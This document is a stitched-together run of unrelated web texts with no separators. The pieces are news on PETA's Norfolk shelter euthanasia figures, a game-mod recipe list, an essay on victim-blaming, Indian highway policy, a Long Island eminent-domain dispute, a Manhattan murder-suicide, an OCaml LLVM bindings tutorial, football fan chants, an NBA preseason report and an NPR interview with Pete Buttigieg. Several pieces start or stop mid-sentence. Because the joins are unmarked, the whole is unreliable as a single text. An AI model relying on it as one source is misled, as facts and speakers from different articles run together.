Kiermaier. I can’t say yet how much we should make of that fact. I just love that we get to think about it.People for the Ethical Treatment of Animals killed most of the animals at its Norfolk, Virginia, shelter in 2014, according to preliminary figures filed with the Virginia Department of Agriculture and Consumer Services. The group euthanized 2,454 of its 3,369 cats, dogs and other animals, the vast majority of which were "owner surrenders," meaning that they'd been relinquished to the group voluntarily. Just 23 dogs and 16 cats were adopted. These figures aren't shocking to PETA's long-time critics -- who have for years pointed out the discrepancy between how this prominent animal rights group is perceived, and what they actually do -- but they are leading to a renewed call from no-kill advocates to put the shelter out of business. Here's how long-time PETA critic Nathan Winograd, a well-known shelter reform advocate, recently put it on his Facebook page: How much money did PETA take in last year from unsuspecting donors who helped pay for this mass carnage? $51,933,001: $50,449,023 in contributions, $627,336 in merchandise sales, and $856,642 in interest and dividends. They finished the year with $4,551,786 more in the bank than they started, after expenses. They did not see fit to use some of that to comprehensively promote animals for adoption or to provide veterinary care for the animals who needed it. By contrast, the Lynchburg Humane Society, also in Virginia, took in about the same number of animals as PETA but saved 94% and without PETA’s millions. Seagoville Animal Services in Texas took in 1/3 of the numbers (about 700 animals) but only 1/20th of 1% of the amount of money that PETA did, saving 99% of them on a paltry $29,700 budget. In fact, hundreds of cities and towns across America are saving over 90% of the animals and doing so on a fraction of PETA’s wealth. VDACS collects and publishes information about how many animals are taken in and what becomes of them, for every public and private shelter, humane society, pound and other sort of animal rescue group in the state. Indeed, as can be seen in this chart, Virginia as a whole has far lower euthanasia rates. And while PETA says it must euthanize animals because it's an "open-admissions" shelter -- meaning that it will accept any animal brought to it -- other such Virginia shelters, like the Lynchburg Humane Society, present far differently: The initial figures for PETA's 2014 numbers were obtained via a Freedom of Information Act request filed by Winograd, a leader in the "no-kill" movement, which aims to reduce (or, even better, eliminate) the number of shelter animals that are put down every year. VDACS spokeswoman Elaine Lidholm told The Huffington Post the figures may be amended before the final report is published online. The numbers, however, are in line with those from previous years -- numbers that have earned the high-profile animal rights group a significant amount of criticism. When reached for comment, a PETA representative did not take issue with the numbers -- in fact, a PETA press release touted the group having provided "free euthanasia services for 2,454 dogs, cats, and other animals in just one area of the United States" -- but directed HuffPost to this video. "Please know that everything you need is in the video. The video is our statement," the rep added, in response to another interview request -- having wanted to find out, among other things, how the group selects which animals will be euthanized, if the surrendering owners are made aware of their pets' likely fate and why the group doesn't open a dedicated low-cost euthanasia clinic in place of (or in addition to) its shelter. The video touts PETA's low and no-cost spay/neuter programs and other veterinary services, as well as its provision of dog houses and supplies for outdoor animals. It then ends with a defense of euthanasia by Amanda Kyle, a fieldworker from PETA's Community Animal Project. "It breaks my heart, but I know that euthanasia is a necessary part of alleviating suffering and dealing with the horrors created by irresponsible and careless people," she says. "In many cases, it's the best anyone can do for a particular animal." It's a statement that's in line with a blog post by PETA president Ingrid Newkirk called "Why We Euthanize," in which she states: It’s easy to point the finger at those who are forced to do the “dirty work” caused by a throwaway society’s casual acquisition and breeding of dogs and cats who end up homeless and unwanted, but at PETA, we will never turn our backs on neglected, unloved, and homeless animals -- even if the best we can offer them is a painless release from a world that doesn’t have enough heart or homes with room for them. Winograd isn't buying that euthanasia is the only, or even the best, option for many of these animals, however. "Surely PETA can do better than a 1 percent adoption rate, especially given their national media reach and enormous resources," he says. "What PETA is doing to dogs and cats is wrong not just in and of itself, but it is self-defeating to larger goals PETA claims it has to promote veganism and other animal rights issues." There's hope the Virginia legislature may also think the shelter's animals deserve better. On Wednesday, the Virginia Senate passed a bill that defines a "private animal shelter" -- like the one that PETA operates -- as "a facility operated for the purpose of finding permanent adoptive homes and facilitating other lifesaving outcomes for animals." Private animal shelters are now defined under Virginia law as "a facility that is used to house or contain animals and that is owned or operated by an incorporated, nonprofit, and nongovernmental entity, including a humane society, animal welfare organization, society for the prevention of cruelty to animals, or any other organization operating for the purpose of finding permanent adoptive homes for animals." Lidholm says it is "premature at this stage to speculate how the passage of SB 1381 would impact the operation of private animal shelters." But supporters say this change is important because if PETA's shelter isn't operating in accordance with the new definition, it might lose its status as a shelter -- and, thus, its access to euthanasia drugs. "The current wording of the definition has been interpreted to create a loophole under which the PETA facility in Norfolk operates as a private animal shelter but without the purpose of finding permanent adoptive homes for animals," Tabitha Frizzell Hanes, of the Richmond SPCA, writes on the shelter's blog. "Over the past decade, as save rates at private shelters across Virginia have risen and euthanasia rates have fallen, the PETA facility euthanizes the animals it takes in at a rate of about 90 percent. "It is out of step with the progress being made for our state's homeless animals for a private shelter to operate not with the purpose of finding animals adoptive homes but almost entirely to take their lives." Companion legislation in the House hasn't yet been introduced, but Debra Griggs, with No Kill Hampton Roads, says her group has lined up a sponsor. However, sponsorship, she says, won't end the fight: "I'm not pessimistic, but I think it will take some work on advocates' part to pass." There are other approaches now underway, as well. Winograd's group, The No Kill Advocacy Center, has petitioned VDACS to revoke the PETA facility's "shelter" status even without the change in definition. To this, he hasn't yet received a response. He's also asked the state to issue regulations requiring shelters to disclose more information about their operations. A public comment period for that begins on Feb. 23, and according to Virginia's "Regulatory Town Hall" website, the Board of Agriculture and Consumer Services is scheduled to consider the request at its next board meeting on March 19. "This time next year, I would love to see figures showing PETA did not kill any animals because they are no longer allowed to. Ideally, I would like to see a PETA that is true to its mission," says Winograd. "As to the public, they do not have to believe me and they shouldn't believe PETA. They owe the animals to look at the evidence, weigh it for themselves, and ask themselves if it is keeping with the vision for animals they wish to see." UPDATE, Feb. 9, 2015: PETA's 2014 report has now been published on the Virginia Department of Agriculture and Consumer Services website. The final numbers are not very different from those in the earlier report: 1606 cats were taken in in 2014, of which 1536 were euthanized; 1025 dogs were taken in, of which 788 were euthanized. Just 16 cats and 23 dogs were adopted, while forty-three cats and 209 dogs were sent from the PETA shelter to other shelters and rescue groups. UPDATE, Feb. 23, 2015: SB 1381 has passed Virginia's House of Delegates, in a slightly amended form. A lobbyist hired by PETA to advocate against the bill has said that the passage could force PETA's shelter to close. Others say it's not yet clear what the effect of the law will be, according to the newspaper Hampton Roads: Robin Robertson Starr, CEO of the Richmond Society for the Prevention of Cruelty to Animals, sent lawmakers an email in response to Haner's, saying the bill would not prevent PETA from meeting the definition of a private animal shelter "so long as PETA were willing to make some effort to adopt out the animals in its facility." If PETA is willing to do that, there should be no reason for the group to oppose the bill, she wrote. But Sharon Q. Adams of Virginia Beach, chairwoman of the Virginia Alliance for Animal Shelters, said she's opposed to the bill because it's unclear how it would be interpreted. "We don't know," she said. Read the preliminary 2014 PETA shelter report filed with the Virginia Department of Agriculture and Consumer Services here. Here's the video and press release to which PETA directed The Huffington Post.Market BBQ V3.1 Version 3.1 Added a few recipes on a request from Micah Zoltu You have your hardearned chicken with the value of 3 but it counts only as one portion of food! Now you can make the food last longer. Market BBQ! Add potato to your meat and grill on the fire. You will not earn much in value but instead of 8 portions you will now have 12 portions (11 for uneducated workers). The grill needs firewood to work. For meat you can have chicken - beef - mutton - venison. New in version 2 - Fish Add ordinary potato or sweet-potato. (my sweet-potato resource is included) Numbers for educated workers: 4 meat + 4 potato + 1 firewood (worth 20) = 12 BBQ Meal (worth 24) 4 fish + 4 potato +1 firewood (worth 12) = 12 Fish n Chips (worth 12) 4 mushroom + 4 potato + 1 firewood (worth 12) = 12 Grilled Vegetables 4 onion + 4 root +1 firewood (worth 12) = 12 Grilled Vegetables Market BBQ V3It is not your fault you were mugged. It is the mugger’s fault for deciding to mug you. It is not your fault that you’re treated poorly because of your skin color. It is the racist’s fault for being a bigot. It is not your fault your house was robbed. It was the robber’s fault for robbing. It is not your fault that someone hit your parked car. It’s the other driver’s fault. Why is it when women complain about being harassed, it suddenly changes? Does walking while female mean that it’s your fault when people (mainly men) harass you from their cars? Does dancing while female make it your fault when someone tries to put their hands down your pants? Does dating while female mean it’s ok for the male half of your couple to rape you? Does working while female mean it is ok for male customers to badger you for a phone number? It doesn’t. And while you can talk about how “Oh, those women should have done XYZ” it is completely possible that those women know and have tried XYZ before. After all, most women grow up learning what to do. Most of us have known and experienced some sort of behavior like this since we hit puberty. But it is expected that when women speak up about the harassment they receive, they get the platitudes of “you’re taking it too seriously,” “Well, you’re ok. After all, boys will be boys,” “Well, you were dating him,” and “No one does that when I’m around.” When it comes to blaming the victim, why do we avoid doing that when it comes to other instances, but when the victim is female and harassed, it is suddenly their fault? Since when does existing mean that you are asking to be pestered, harassed, raped, and be told your story is unbelievable? It isn’t acceptable when it comes to being mugged or robbed. It isn’t acceptable when you are treated differently because of your race. Why should it be any different when it comes to your gender? What it comes down to is realizing that women are not a different species, we are not from another planet, and we deserve to be able to work, walk, dance and date, without assuming that we are at fault if someone harasses us or refuses to take our “No”s, our “Yes”‘s and our statements of disinterest seriously. We did not decide to be female. And we are not at fault for the reactions of others to our existence and audacity to act like a normal person. AdvertisementsA day after sparking ‘road politics’ by naming two highways after Lord Ram and promising to spend Rs. 50,000 crore to build state roads by the year-end, Union minister for transport and national highways Nitin Gadkari on Wednesday asserted that there would be no politics on development issues and he would take steps in a month to increase the length of national highways in Uttar Pradesh. “The length of national highways is less than the present formula-(less than national average in terms of per lakh population). I will take positive steps in next one month to rectify this,” said Gadkari after reviewing projects of his ministry at a high-level meeting with Chief Minister Akhilesh Yadav and Minister for Public Works Department (PWD) Shivpal Singh Yadav here. Gadkari referred to the state government’s point that the length of highways in Uttar Pradesh was 3.39 km per lakh of population against the national average of 5.86 km per lakh. “I have assured the Chief Minister that we will spend Rs. 50,000 crore by year-end. This amount may go up by Rs. 10,00015,000 crore,” said Gadkari. He said work on some of the important road projects, including Delhi-Meerut Expressway and eastern peripheral road would begin soon. “UP is on our priority list. We will do all that in the next two years what has not been done in the past 10 years,” he said. On naming two highways after Lord Ram, Gadkari said he would not take any questions on political issues as he was sharing the dais with the Chief Minister. “I am with the BJP but there will be no politics on development issues. Politics and development are two different things,” he said. On the issue of additional funds for the maintenance of national highways in the state, Gadkari said efforts would be made for the upkeep of national highways with public-private investment. “We will find ways and the condition of roads will improve in the next one-and-ahalf year,” he said. Gadkari used the occasion to speak about the amendments proposed to the Motor Vehicle Act and announced that the Centre would bring a new toll policy by the end of February. A bill would also be brought before the parliament to convert 101 rivers across the country into waterways, he said. All the Uttar Pradesh’s rivers (as notified by the state government) would be brought under its purview and be declared waterways, Gadkari said. “Work has begun on connecting Varanasi with Haldia. It will be completed in next one year. Permission has already been given for seaplane in Mumbai and they can make a landing in small ponds of 100 metres as well,” he said. Gadkari said the UP Chief Minister had assured expeditious action on land acquisition issues. He said that the Chief Minister had been requested to provide the sand taken out from rivers after dredging. This would bring down the cost of construction of roads, he said. Gadkari added that the state government could make use of the union government’s contract with mills to get cheap cement to bring down the cost of construction of state roads. “With this, the cost of Agra-Lucknow Expressway can be brought down,” he said. First Published: Jan 22, 2015 14:36 ISTA village government on Long Island is using damage caused by Hurricane Sandy as a pretext for a flagrant assault on private property rights. The Whitney family is alleging that the Village of Saltaire, New York, has prevented them from rebuilding their grocery store and is now trying to use eminent domain to seize their property. The village allegedly wants to build its own market on the site. Village officials have refused to approve the permits necessary to rebuild the 25-year-old grocery store, owner Frank Whitney and his sons allege. Now the same officials are trying to use eminent domain to seize the property. “I think they want to control the property,” Frank Whitney, a World War II veteran, said of the reason officials want to seize the property. Whitney and his sons, Scott and Chip, went on the Fox & Friends show and accused officials of manipulating the building permit approval process to prevent them from rebuilding their store. If the Whitneys cannot get those permits, the village may be able to condemn the store and seize it through eminent domain. The officials want to control the property to prevent the Whitneys from selling it to somebody who would use the location for something other than a grocery store, Scott Whitney alleged. The store is the only place that sells groceries on Fire Island on the Long Island Shore and the only commercial property in Saltaire. According to the New York Post, the property had a deli, a liquor store and an ice cream shop. Village Prevents Family from Rebuilding Grocery Store The village is alleging that the damage to the property by Sandy was significant and that the Whitneys must go through significant expensive paperwork to rebuild. The Whitneys, though, say the damage was not substantial. Revisit the counsel of great men and learn how to reclaim the quality of government we once enjoyed. “The only building that has been turned down is ours,” Scott Whitney said. “Why is it that everybody else in the village and in fact every building on Fire Island was aided in repairs but we have to turn in tens of thousands of dollars’ worth of documents.” The village asked the Whitneys to submit architectural and engineering plans to get their store rebuilt. Scott alleges that everybody else in the village had only to turn in a one page document. He also alleged that village officials had exaggerated the amount of damage done to the store in order to justify their actions. Village officials contend that permits and architectural plans are needed because more than 50 percent of the grocery store was destroyed by flooding caused by Hurricane Sandy in October 2012. The Whitneys claim that less than 50 percent of the building was destroyed and the permits are not needed. Scott Whitney said that a report from the Federal Emergency Management Agency (FEMA) supports their contentions. Four engineering reports support the Whitneys, The Post said. Taxpayers Would Foot The Bill Other buildings that were much more heavily damaged by flooding caused by Sandy, including a private yacht club in Saltaire, have been approved for rebuilding, Scott Whitney said. He noted that the other property owners only had to fill out a one-page document to get approval. The village of Saltaire has applied for a $1.5 million grant from the state of New York, The Post reported. The grant would presumably be used to acquire the Whitneys’ store and reopen it. The village applied for the grant three weeks before its board of trustees voted to use eminent domain to seize the grocery store. The grant request has since been turned down, according to The Post. Now that the grant has been turned down, the village might raise taxes or sell public property to get enough money to fund the seizure, Mayor Robert Cox III told The Post. Frank Whitney and his sons are challenging the village’s actions in court. “There is almost nobody I have spoken to in the town that supports this eminent-domain action,” bestselling author and Saltaire resident David Fisher told The Post. Actress Kathleen Butler, who owns a summer home in Saltaire, described the village’s actions as “disgraceful, absolutely disgraceful.” Sign up for Off The Grid News’ weekly email and stay informed about the issues important
private matter for my family and my friends,” Bukharina told the Daily News when reached on her cellphone at the 20th Precinct stationhouse. Dmitriy Kanarikov lived in this home in Mill Basin, Brooklyn. Neighbors say he lived on the top floor. (Jeff Bachner for New York Daily News) Cops said the bodies landed on the roofs of two different buildings neighboring the South Park Tower at 124 W. 60th St., where Kanarikov tossed his son and jumped to his death. Dmitriy Kanarikov holds Svetlana Bukharina in happier days. More recently, the two were locked in a child custody battle. (Facebook) The father’s body was found on the roof of a low-rise building at 425 W. 59th St. while the son’s landed atop a four-story building at 445 W. 59th St., police said. Svetlana Bukharina boasted on her Facebook page in March, 'I have the best husband and son in the world.' (Facebook) It remained unclear Sunday night why Kanarikov, who lived in Brooklyn, went to the luxury high-rise, where apartments rent for $3,300 to $6,350, to end his and his son’s lives. Kirill Kanarikov's short life ended Sunday when he was thrown off the roof of the Lincoln Square skyscraper by his distraught father. (Facebook) Kanarikov worked as a lead systems analyst for TIAA-CREF, a Manhattan-based financial services company, according to his LinkedIn page. The Kanarikovs when they were a young, happy family. (Facebook) His only connection to the building is that he had a friend who once lived there, a police source said. Dmitriy Kanarikov and Svetlana Bukharina enjoy a day at the beach with their son, Kirill. The couple's breakup was so fraught with anger that they had to meet in the NYPD’s 17th Precinct Stationhouse to drop off and pick up their son, a source said. “He goes into the building with the child. Then, we believe to the roof, based on a witness,” the source told The News. “It would appear that he dropped the child and jumped afterward. The body of Kirill Kanarikov, which landed on the roof of a four-story building, is removed on gurney from apartment house at 124 W. 60th St. (Digital2) One witness told cops of seeing father and son fall past the window of a 29th-floor apartment and others described hearing the sickening thuds of the bodies hitting the rooftops below. Bystanders look down at where the man threw his toddler landed after they fell off the roof. (Alex Rud) “I heard a boom!” said Adam Gutierrez, who works in the emergency room at the nearby hospital. “The way it sounded, they must’ve jumped from high up.” An officer examines the area near a rooftop after Sunday's murder-suicide. (Norman Y. Lono for New York Daily News) Luis Ortiz, a maintenance worker, said he was in the emergency room at St. Luke’s-Roosevelt Hospital when little Kirill was wheeled in. Dmitriy Kanarikov tossed son Kirill to his death then took his own life amid a nasty custody dispute. (Norman Y. Lono/for New York Daily News) “The little boy had Christmas pajamas on,” Ortiz told The News. “They were working on him, but nothing. You could tell that he was already slipping away.” Detectives respond to 124 W. 60th St. in Manhattan, where a man jumped to his death. (Alex Rud) He said the tragedy, just three days before Christmas, was heartbreaking. A 35-year-old man threw his young son off the roof of a high-rise and then jumped to his death in Manhattan. (Andrew Savulich/New York Daily News) “Being a parent to two kids myself, my heart goes out to his family,” Ortiz said. “You gotta take care of your children when they’re here.” Authorities respond to a report that an adult and child fell Sunday from a high-rise apartment building in Manhattan. (Andrew Savulich/New York Daily News) While it was unclear what triggered the deadly incident, records show Kanarikov and Bukharina had a recent spat over custody of Kirill. Upset Woman on a Manhattan balcony looks down at where the father and son fell. (Andrew Savulich/New York Daily News) A source revealed that one of the parents complained that the other failed to return their son to her within his allotted time period. Kanarikov’s Facebook page is full of photos of his once-happy family. Pictures showed the parents doting over their boy on family outings at the beach. One poignant photo shows three footprints in the sand — those of two adults flanking the footprint of a child. Tenants at the South Park Tower could not fathom a single justifiable reason for any father to take his child’s life. “You see people and they have a face like yours and mine, it doesn’t tell you a story,” said Ellie Adiel. “It’s shattering to think someone could go that far, that it has to be that bad.” At least four uniformed police officers and a detective could be seen canvasing residents in the lobby of the building — which was the tallest tower on the Upper West Side when it was built in 1986. “This is shocking,” said Joydep Ghosh, who’s lived in the building for about seven years. “The neighbors are very good people. I’ve never had any problem at all. There are a lot of kids, a lot of dogs.” With Chelsia Rose Marcius and Reuven Blau Sign up for BREAKING NEWS Emails privacy policy Thanks for subscribing!OCaml LLVM bindings tutorial, part 1 This is the first part of a tutorial series, on how to use the OCaml bindings for LLVM. Why use OCaml bindings? Because you can avoid using the C++ API, spending huge amounts of time compiling Clang sources, then your plugin, then debugging the segfaults again and again. The bindings are stable, cover most of the API, and are quite simple to use, thanks to the Debian packages. This tutorial is written based on a Debian Sid, things may differ but should stay similar on other distributions. The objectives of this first part are: install the required packages setup a build environment for ocamlbuild build a simple application that reads an LLVM bitcode file and prints it Installation The required packages are: llvm-3.5-dev libllvm-3.5-ocaml-dev the LLVM and OCaml compilers ( llvm-3.5, ocaml ) and OCaml compilers (, ) optionally, clang The current LLVM version is 3.6, however the OCaml bindings are currently disabled (See Debian bug #783919), because of changes in the required dependencies. Project Layout The sources are organized as follows: part1/ ├── build ├── Makefile └── src └── tutorial01.ml First application First, create file src/tutorial01.ml : let _ = let llctx = Llvm. global_context () in let llmem = Llvm. MemoryBuffer. of_file Sys. argv.( 1 ) in let llm = Llvm_bitreader. parse_bitcode llctx llmem in Llvm. dump_module llm ; () Let’s look at the file contents, and comment it a bit. let llctx = Llvm. global_context () in LLVM requires a context ( LLVMContext in the C++ API), to transparently own and manage all data. Here, there is no need to create a context, so we get the global one let llmem = Llvm. MemoryBuffer. of_file Sys. argv.( 1 ) in This line takes the first command-line argument of the application, and uses the LLVM-OCaml bindings API to read it into memory (as a llmemorybuffer opaque object). Input format should be LLVM bitcode, usually a file with the.bc extension. let llm = Llvm_bitreader. parse_bitcode llctx llmem in After reading the LLVM bitcode file, the llmemorybuffer can now be parsed to create a LLVM module, in OCaml a llmodule. In LLVM, a module is a single unit of code to process. It contains things like functions, structures definitions and global variables, and usually matches the content of a single file to be compiled. Llvm. dump_module llm ; The dump_module function prints the contents of the module to stderr, in the textual LLVM IR form. Its main purpose is debugging, and fits well the goal of this first tutorial. Makefile The build system is certainly not an OCaml strength. To make things a little bit easier, I’ve decided to use ocamlbuild, but with a wrapper (a Makefile ) to simplify arguments. As I don’t like _tags files, everything will be on the CLI. The Makefile only wraps (more or less) the following command: export OCAMLPATH = /usr/lib/ocaml/llvm- $( LLVM_VERSION ) ocamlbuild -classic-display -j 0 -cflags -w,@a-4 -use-ocamlfind -pkgs llvm,llvm.bitreader -I src -build-dir build/tutorial01 tutorial01.byte The options should be rather easy to understand: The first group of options -classic-display -j 0 -cflags -w,@a-4 sets some generic ocamlbuild flags (classic build display, parallel build if possible, and ask the compiler for warnings), sets some generic ocamlbuild flags (classic build display, parallel build if possible, and ask the compiler for warnings), -use-ocamlfind -pkgs llvm,llvm.bitreader are the most important options: they ask ocamlbuild to find the llvm and llvm.bitreader packages, required by our example. This is why we have to set OCAMLPATH to the directory containing the bindings, are the most important options: they ask ocamlbuild to find the and packages, required by our example. This is why we have to set to the directory containing the bindings, the remaining options specifies where the sources are, and where to put the compiled files. Running the application We use clang to transform a simple Hello World file to a LLVM bitcode file. $ clang -c -emit-llvm hello.c $ file hello.bc hello.bc: LLVM IR bitcode We can now use our first application to dump to LLVM bitcode: $ LD_LIBRARY_PATH = /usr/lib/ocaml/llvm-3.5/./build/tutorial01/src/tutorial01.byte./hello.bc ; ModuleID = './hello.bc' target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [ 14 x i8 ] c "hello, world\0A\00", align 1 ; Function Attrs: nounwind uwtable define i32 @main () #0 { %1 = alloca i32, align 4 store i32 0, i32 * %1 %2 = call i32 ( i8 ,...) @printf ( i8 * getelementptr inbounds ([ 14 x i8 ]* @.str, i32 0, i32 0 )) ret i32 0 } declare i32 @printf ( i8 *,...) #1 attributes #0 = { nounwind uwtable "less-precise-fpmad" = "false" "no-frame-pointer-elim" = "true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math" = "false" "no-nans-fp-math" = "false" "stack-protector-buffer-size" = "8" "unsafe-fp-math" = "false" "use-soft-float" = "false" } attributes #1 = { "less-precise-fpmad" = "false" "no-frame-pointer-elim" = "true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math" = "false" "no-nans-fp-math" = "false" "stack-protector-buffer-size" = "8" "unsafe-fp-math" = "false" "use-soft-float" = "false" }!llvm.ident =!{!0 }!0 = metadata!{ metadata!"Debian clang version 3.5.2-1 (tags/RELEASE_352/final) (based on LLVM 3.5.2)" } Our example application works as expected. That’s it for part 1 of the tutorial, you should now be able to build an application using the OCaml LLVM bindings. Example code has been published on github, project ocaml-llvm-tutorial. To get it, run $ git clone https://github.com/chifflier/ocaml-llvm-tutorial.git Next time In part 2, we’ll see how to iterate on functions, and access simple values and attributes. LinksBengaluru FC is the latest club in Indian football. The side have taken the league by storm, not only does the brand new club sit pretty atop the I-League table, but they’re also making huge strides as a club and their fan base. While the club is the most professionally set-up one in the entire league, the fans are arguably the most passionate one’s you’ll find and certainly one that create an atmosphere as good as those seen in European football. With just six games to go, Bengaluru FC are 4 points clear of second place Pune FC, but the table is so competitively positioned, with 9th place East Bengal having 4 games in hand, winning all would find them 2 points behind Bengaluru FC. MORE READING \| Bengalufu FC – A new hope for Indian football The game on Saturday was against the defending champions, Churchill Brothers, who were struggling in the league this season despite winning their first ever Federation Cup title. With Bengaluru FC in their debut season, it was the first time the defending champions faced the newcomers in their own backyard. The result was a comfortable 3-0 scoreline to put behind the 3-2 loss against bottom placed Rangdajied United a few days back. After the fans came under some scrutiny on social media and this very site for their chants during the last game against Mumbai FC, the passionate supporters ensured their chants this time round against Churchill Brothers were clean but louder than ever. It was the first game where the club tried to introduce the “Just Can’t Get Enough” chant made famous in British football, although that particular chant will take some time to set in smoothly. Read this piece and the discussion that follows in the comments regarding the chants during the Mumbai game. Robin Singh came on and changed the game, scoring one and setting up another while being involved throughout the game (including a head-butt incident which he and his ‘victim’ received yellows for). The ex-East Bengal striker got the crowd even louder as chants of “Who needs Batman, we have Robin!” played at regular intervals from the stands. The chant of the day remains the one that mocked the Churchill keeper. Arindam Bhattacharya was always at the end of Bengaluru FC fans’ chants, as the supporters played their part in riling the keeper, forcing him into errors from even goal-kicks. With the score at 2-0, the supporters started a chant “Bhatta yedd goal bitta” in Kannada which basically mocks the fact that Bhatta (Arindam Bhattacharya) conceded twice and when a third went in “Bhatta muur goal bitta” sounded all round the Bangalore Football Stadium. Sunil Chhetri scored twice and had an incredible work rate, with the supporters making sure this didn’t go unnoticed, the familiar “Sunil Chhetri, he scores when he waaaaannttts, Sunil Chhetri he scores when he wants” was chanted throughout the second half. Each player got his fair share of chants, as the supporters ensured that no one was left out, not even the manager Ashley Westwood. The happiest with the chanting would be the ex-Reading youngster, Curtis Osano. While he was subject to the regular “Oooooooohh Curtis Osaaanooooo” chants, the Kenyan also received a special Happy Birthday song as he turned 27 on the day of the game against the defending champions. “Namma Ooru! Bengaluru! Who are we? BFC!” chants have been chanted in games as well, but the customary chant that most replicate the traditional ones heard in European football (in particular English football), is the “Oh When the Blues go marching!” chant. The club have begun to be recognised with this chant, with fans attempting to ensure it’s perfect in terms of tune, with a slow start and quick finish. A video of this chant was posted on the Bengaluru FC fan page which you can see below. It’s hard to capture the sheer passion of the supporters in a single video. With the club and it’s loyal supporters less than a year old, you can expect the chants to only get better, to the point where Bengaluru FC supporters will be widely known as “Ultras”! Can we get a trend going on that one now? Chants like these, and supporters this passionate and well coordinated are a given in football in Europe, South American, the MLS and even Australia’s A-League. But it is something brand new for Indian football. As one fan stated at the game, the club is making strides on the field, while the supporters, off it.DALLAS – The pressure had been building with every missed shot until when Kostas Papanikolaou finally saw a 3-pointer fall, he shouted and punched the air happily, releasing all the tension that had grown from his nervous first steps into an NBA game. The game finally found a relative respite from the long, ugly parade to the free throw line, and with the starters’ night over, the Rockets began to find something more meaningful than the Rockets’ and Mavericks’ apparent pursuit of a foul every 30 seconds. Papanikolaou hit another 3. Ish Smith pushed the offense. Donatas Motiejunas scored inside. Finally, Jeff Adrien took over down the stretch and the goal that actually meant something as the Rockets began their preseason schedule – rebuilding the bench – found at least some traction. The Rockets surged past the Mavericks, 111-108, on Tuesday, a victory mercifully clinched when Papanikolaou was fouled with.2 seconds remaining and made all three free throws to end nearly three hours of preseason basketball. “Whether or not that was the accurate call at the end, it was the right call because it spared everybody five more minutes of basketball agony,” Mavericks coach Rick Carlisle said. “The rookie official, Don Hudson, I was impressed with him. And I was even more impressed after the last call.” The teams combined for 91 fouls to remove any shape from the game. Until the Rockets bench finally surged in the second half, the highlight of the night might have been an exchange with Rockets coach Kevin McHale and Chandler Parsons in the first half. Agonizing as the first-half foul fest on Tuesday had to be to endure, there was a moment to mark the occasion that even the whistles that provided the soundtrack for the evening could not interrupt. As McHale called a play with his former small forward a few feet away, Parsons asked him to repeat the call he had heard so many times through his first three NBA seasons. “You didn’t know the plays last year,” McHale said. “You’re not going to know them this year.” With that, McHale had a rare reason to smile. For most of the night, there were not many. Parsons scored his 14 points in the first half. Trevor Ariza looked like the suitable replacement he is expected to be, making 5 of 7 shots for his 12 points. But there was little either team could take from the play of the starters, with Dwight Howard fouling out in 15 minutes with six points, six rebounds, six shots, six free throws and six fouls, and Dirk Nowitzki not playing at all because of a bruised hip. “We got a lot of free throw boxing out,” McHale said of the evening. “We need to work on that. “I thought Papanikolaou, I put the ball in his hands and let Pap make some plays, which he did. Trying to go to D-Mo and D-Mo had some stuff going on. And D-Mo got Jeff Adrien some baskets late. I thought the second unit guys did fairly well.” he Rockets’ bench made enough plays to have something to build on in the second half. McHale went with Nick Johnson and Ish Smith as his second-team backcourt, citing Smith’s play through camp and a desire to get a look at Johnson. Papanikolaou played 26 minutes backing up Ariza. Motiejunas played a game-high 27 minutes, leading both teams with 18 points on 7 of 11 shooting. “It’s just the first game,” Motiejunas said. “Summer for me was long. For most of the guys it was the first game in two or three months. We’ll see what happens later.” Motiejunas kept the Rockets in the game long enough for Jeff Adrien to take it over late, twice driving and scoring over former Rockets center Greg Smith, drawing a charge and then finally finishing with a dunk set up by Motiejunas. Papanikolaou clinched the win when he went to the line in the final fractions of a second, going from a night that began in which he could not make a shot to being unable to miss even when he wanted to clang his last free throw. “When I first stepped on the court, I was a little bit nervous,” Papanikolaou said. “I wasn’t feeling that good. But as I kept playing, I started relaxing, feeling better and better every minute. In the end, I was feeling very good.” He was not the only one, but for a handful of Rockets reserves, there was reason to be pleased besides that the marathon had finally gotten the foul that was enough to end it.An Indiana Mayor On The Way Forward For Democrats DAVID GREENE, HOST: Democrats are trying to figure out their new role as the minority party in the era of President Trump. In recent weeks, crowds of constituents and activists have begun interrupting Republican town halls, employing some of the tactics of the tea party. (SOUNDBITE OF ARCHIVED RECORDING) UNIDENTIFIED CROWD: (Chanting) Do your job. Do your job. Do your job. GREENE: Do your job, they are shouting. This was a town hall for Republican Congressman Jason Chaffetz, chairman of the House Oversight Committee. The job the crowd wanted him to do was to investigate the president for potential conflicts of interest. Peter Buttigieg agrees that activism is one way forward for the party. Buttigieg is the mayor of South Bend, Ind., and an Afghan war veteran. He's also running an unlikely bid to be national chairman of the Democratic Party. He's up against front-runners like Congressman Keith Ellison and former Labor Secretary Tom Perez. We have been seeing a lot of movement among Democrats in the country recently. There have been a lot of protests as Republican members of Congress have tried to hold town halls, people showing up, being very loud. Is this is a good strategy right now for the party? PETER BUTTIGIEG: Well, I think the important thing right now is to really lift up our voices and speak to the values that make us Democrats. You know, one of the things that's striking about the town halls is a lot of them are very specifically about issues like whether people are going to have their health care taken away. And the more we can have this discussion focus on how ordinary people are going to be affected by the decisions that are being made in Washington, then the better chance we have of reconnecting with a lot of parts of the country that didn't really feel like they were in touch with the Democratic Party in the last go around. GREENE: I mean, this is not an insignificant decision. This is a moment where some members of Congress have seen some room for compromise potentially to talk about how Obamacare could be changed into something acceptable by both parties. But here you have people in the party just going yelling and screaming and saying you're taking away our health insurance. They're being labeled radicals by people on the right. Is there a danger that this could be counterproductive? BUTTIGIEG: Well, I don't think wanting to keep your health insurance makes you a radical. And I also think compromise is only possible when the other party is working in good faith. And if there's one thing that Democrats in Congress in Washington learned the hard way about congressional Republicans it's that there's not a lot of people there in good faith. GREENE: When you say the Republicans in Congress have not acted in good faith, what do you mean? BUTTIGIEG: Well, for example, the refusal to do anything with the Affordable Care Act other than empty votes to repeal it. And now that they actually have the chance to do that, no indication of what they think that they would replace it with. You have to have a willing partner in order to come to the table and compromise. GREENE: This is so interesting because what you call not acting in good faith some would say has been a very effective strategy by Republicans and specifically the tea party movement. And there are some right now saying that Democrats would be wise to copy the tea party movement, and that's what we're seeing at some of these town halls. So how do you do that and build enthusiasm in a way that doesn't create a party of no label for you? BUTTIGIEG: Well, I think the most important thing is to remind everybody of what we're for. Look, there have been a lot of outrages coming from Washington in the last few weeks, and they rightly inspire a level of anger, but we can't have that be the only thing anybody hears from us. We've got to be talking about 